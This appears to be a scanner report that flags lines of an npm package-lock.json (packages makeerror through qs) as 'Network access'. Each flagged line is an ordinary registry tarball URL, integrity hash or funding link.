"version": "1.0.12", "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz", "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==", - Network accessline 4502
"resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz", - Network accessline 4510
"node_modules/math-intrinsics": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", - Network accessline 4511
"version": "1.1.0", "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", - Network accessline 4512
"resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", - Network accessline 4520
"node_modules/media-typer": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.1.tgz", - Network accessline 4521
"version": "1.1.1", "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.1.tgz", "integrity": "sha512-yz3xRaG20c6/BOzvYoDaGtPmGscs7YivItZEEqe6GbwNfHuxu9YNmvnEkMzKldAGY4/80pRcQRZSEnhquk9XuQ==", - Network accessline 4522
"resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.1.tgz", - Network accessline 4530
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 4531
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 4532
"url": "https://opencollective.com/express" - Network accessline 4535
"node_modules/merge-descriptors": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz", - Network accessline 4536
"version": "2.0.0", "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz", "integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==", - Network accessline 4537
"resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz", - Network accessline 4544
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 4545
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 4546
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 4549
"node_modules/merge-stream": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", - Network accessline 4550
"version": "2.0.0", "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", - Network accessline 4551
"resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", - Network accessline 4556
"node_modules/micromatch": { "version": "4.0.8", "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", - Network accessline 4557
"version": "4.0.8", "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", - Network accessline 4558
"resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", - Network accessline 4570
"node_modules/mime-db": { "version": "1.52.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - Network accessline 4571
"version": "1.52.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", - Network accessline 4572
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - Network accessline 4580
"node_modules/mime-types": { "version": "2.1.35", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - Network accessline 4581
"version": "2.1.35", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", - Network accessline 4582
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - Network accessline 4593
"node_modules/mimic-fn": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", - Network accessline 4594
"version": "2.1.0", "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", - Network accessline 4595
"resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", - Network accessline 4603
"node_modules/minimatch": { "version": "3.1.5", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - Network accessline 4604
"version": "3.1.5", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", - Network accessline 4605
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - Network accessline 4616
"node_modules/ms": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - Network accessline 4617
"version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - Network accessline 4618
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - Network accessline 4623
"node_modules/natural-compare": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - Network accessline 4624
"version": "1.4.0", "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", - Network accessline 4625
"resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - Network accessline 4630
"node_modules/negotiator": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz", - Network accessline 4631
"version": "1.0.0", "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz", "integrity": "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg==", - Network accessline 4632
"resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz", - Network accessline 4641
"node_modules/node-int64": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", - Network accessline 4642
"version": "0.4.0", "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==", - Network accessline 4643
"resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", - Network accessline 4648
"node_modules/node-releases": { "version": "2.0.38", "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.38.tgz", - Network accessline 4649
"version": "2.0.38", "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.38.tgz", "integrity": "sha512-3qT/88Y3FbH/Kx4szpQQ4HzUbVrHPKTLVpVocKiLfoYvw9XSGOX2FmD2d6DrXbVYyAQTF2HeF6My8jmzx7/CRw==", - Network accessline 4650
"resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.38.tgz", - Network accessline 4655
"node_modules/normalize-path": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - Network accessline 4656
"version": "3.0.0", "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - Network accessline 4657
"resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - Network accessline 4665
"node_modules/npm-run-path": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", - Network accessline 4666
"version": "4.0.1", "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", - Network accessline 4667
"resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", - Network accessline 4678
"node_modules/nwsapi": { "version": "2.2.23", "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz", - Network accessline 4679
"version": "2.2.23", "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz", "integrity": "sha512-7wfH4sLbt4M0gCDzGE6vzQBo0bfTKjU7Sfpqy/7gs1qBfYz2vEJH6vXcBKpO3+6Yu1telwd0t9HpyOoLEQQbIQ==", - Network accessline 4680
"resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz", - Network accessline 4685
"node_modules/object-assign": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - Network accessline 4686
"version": "4.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", - Network accessline 4687
"resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - Network accessline 4696
"node_modules/object-inspect": { "version": "1.13.4", "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", - Network accessline 4697
"version": "1.13.4", "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", - Network accessline 4698
"resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", - Network accessline 4705
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 4706
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 4707
"url": "https://github.com/sponsors/ljharb" - Network accessline 4710
"node_modules/on-finished": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", - Network accessline 4711
"version": "2.4.1", "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", - Network accessline 4712
"resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", - Network accessline 4724
"node_modules/once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - Network accessline 4725
"version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", - Network accessline 4726
"resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - Network accessline 4734
"node_modules/onetime": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", - Network accessline 4735
"version": "5.1.2", "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", - Network accessline 4736
"resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", - Network accessline 4745
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 4746
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 4747
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 4750
"node_modules/p-limit": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", - Network accessline 4751
"version": "3.1.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", - Network accessline 4752
"resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", - Network accessline 4761
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 4762
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 4763
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 4766
"node_modules/p-locate": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - Network accessline 4767
"version": "4.1.0", "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - Network accessline 4768
"resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - Network accessline 4779
"node_modules/p-locate/node_modules/p-limit": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - Network accessline 4780
"version": "2.3.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", - Network accessline 4781
"resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - Network accessline 4790
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 4791
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 4792
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 4795
"node_modules/p-try": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", - Network accessline 4796
"version": "2.2.0", "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", - Network accessline 4797
"resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", - Network accessline 4805
"node_modules/parse-json": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", - Network accessline 4806
"version": "5.2.0", "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", - Network accessline 4807
"resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", - Network accessline 4819
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 4820
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 4821
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 4824
"node_modules/parse5": { "version": "7.3.0", "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz", - Network accessline 4825
"version": "7.3.0", "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz", "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==", - Network accessline 4826
"resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz", - Network accessline 4832
}, "funding": { "url": "https://github.com/inikulin/parse5?sponsor=1" - Network accessline 4833
"funding": { "url": "https://github.com/inikulin/parse5?sponsor=1" } - Network accessline 4834
"url": "https://github.com/inikulin/parse5?sponsor=1" - Network accessline 4837
"node_modules/parseurl": { "version": "1.3.3", "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", - Network accessline 4838
"version": "1.3.3", "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", - Network accessline 4839
"resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", - Network accessline 4848
"node_modules/path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - Network accessline 4849
"version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - Network accessline 4850
"resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - Network accessline 4858
"node_modules/path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - Network accessline 4859
"version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", - Network accessline 4860
"resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - Network accessline 4868
"node_modules/path-key": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - Network accessline 4869
"version": "3.1.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - Network accessline 4870
"resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - Network accessline 4878
"node_modules/path-parse": { "version": "1.0.7", "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", - Network accessline 4879
"version": "1.0.7", "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", - Network accessline 4880
"resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", - Network accessline 4885
"node_modules/path-to-regexp": { "version": "8.4.2", "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz", - Network accessline 4886
"version": "8.4.2", "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz", "integrity": "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==", - Network accessline 4887
"resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz", - Network accessline 4892
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 4893
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 4894
"url": "https://opencollective.com/express" - Network accessline 4897
"node_modules/picocolors": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - Network accessline 4898
"version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - Network accessline 4899
"resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - Network accessline 4904
"node_modules/picomatch": { "version": "2.3.2", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", - Network accessline 4905
"version": "2.3.2", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", - Network accessline 4906
"resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", - Network accessline 4912
}, "funding": { "url": "https://github.com/sponsors/jonschlinkert" - Network accessline 4913
"funding": { "url": "https://github.com/sponsors/jonschlinkert" } - Network accessline 4914
"url": "https://github.com/sponsors/jonschlinkert" - Network accessline 4917
"node_modules/pirates": { "version": "4.0.7", "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", - Network accessline 4918
"version": "4.0.7", "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==", - Network accessline 4919
"resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", - Network accessline 4927
"node_modules/pkce-challenge": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/pkce-challenge/-/pkce-challenge-5.0.1.tgz", - Network accessline 4928
"version": "5.0.1", "resolved": "https://registry.npmjs.org/pkce-challenge/-/pkce-challenge-5.0.1.tgz", "integrity": "sha512-wQ0b/W4Fr01qtpHlqSqspcj3EhBvimsdh0KlHhH8HRZnMsEa0ea2fTULOXOS9ccQr3om+GcGRk4e+isrZWV8qQ==", - Network accessline 4929
"resolved": "https://registry.npmjs.org/pkce-challenge/-/pkce-challenge-5.0.1.tgz", - Network accessline 4938
"node_modules/pkg-dir": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", - Network accessline 4939
"version": "4.2.0", "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", - Network accessline 4940
"resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", - Network accessline 4951
"node_modules/pretty-format": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", - Network accessline 4952
"version": "29.7.0", "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", - Network accessline 4953
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", - Network accessline 4966
"node_modules/pretty-format/node_modules/ansi-styles": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", - Network accessline 4967
"version": "5.2.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", - Network accessline 4968
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", - Network accessline 4974
}, "funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" - Network accessline 4975
"funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" } - Network accessline 4976
"url": "https://github.com/chalk/ansi-styles?sponsor=1" - Network accessline 4979
"node_modules/prompts": { "version": "2.4.2", "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", - Network accessline 4980
"version": "2.4.2", "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", - Network accessline 4981
"resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", - Network accessline 4993
"node_modules/proxy-addr": { "version": "2.0.8", "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.8.tgz", - Network accessline 4994
"version": "2.0.8", "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.8.tgz", "integrity": "sha512-5nnx0yGyVUcY6t9RnWcARWtwT9F1D8O9rt08htPvnd49W1IgZtmLkhu9WfMzQj1cFxjHIO6connUNVW5k7AVyQ==", - Network accessline 4995
"resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.8.tgz", - Network accessline 5007
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 5008
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 5009
"url": "https://opencollective.com/express" - Network accessline 5012
"node_modules/psl": { "version": "1.15.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz", - Network accessline 5013
"version": "1.15.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz", "integrity": "sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==", - Network accessline 5014
"resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz", - Network accessline 5020
}, "funding": { "url": "https://github.com/sponsors/lupomontero" - Network accessline 5021
"funding": { "url": "https://github.com/sponsors/lupomontero" } - Network accessline 5022
"url": "https://github.com/sponsors/lupomontero" - Network accessline 5025
"node_modules/punycode": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", - Network accessline 5026
"version": "2.3.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", - Network accessline 5027
"resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", - Network accessline 5035
"node_modules/pure-rand": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-6.1.0.tgz", - Network accessline 5036
"version": "6.1.0", "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-6.1.0.tgz", "integrity": "sha512-bVWawvoZoBYpp6yIoQtQXHZjmz35RSVHnUOTefl8Vcjr8snTPY1wnpSPMWekcFwbxI6gtmT7rSYPFvz71ldiOA==", - Network accessline 5037
"resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-6.1.0.tgz", - Network accessline 5041
{ "type": "individual", "url": "https://github.com/sponsors/dubzzz" - Network accessline 5042
"type": "individual", "url": "https://github.com/sponsors/dubzzz" }, - Network accessline 5043
"url": "https://github.com/sponsors/dubzzz" - Network accessline 5045
{ "type": "opencollective", "url": "https://opencollective.com/fast-check" - Network accessline 5046
"type": "opencollective", "url": "https://opencollective.com/fast-check" } - Network accessline 5047
"url": "https://opencollective.com/fast-check" - Network accessline 5052
"node_modules/qs": { "version": "6.16.0", "resolved": "https://registry.npmjs.org/qs/-/qs-6.16.0.tgz", - Network accessline 5053
"version": "6.16.0", "resolved": "https://registry.npmjs.org/qs/-/qs-6.16.0.tgz", "integrity": "sha512-h6fhOIaRrID2CbEY2fqs+7t+UXZo+MLAnU5gRIq85uFtdiUPCdsApMlHhXogKVM4HM2DVbIjGNTTYH2OcmP1vA==", - Network accessline 5054
"resolved": "https://registry.npmjs.org/qs/-/qs-6.16.0.tgz", - Network accessline 5065
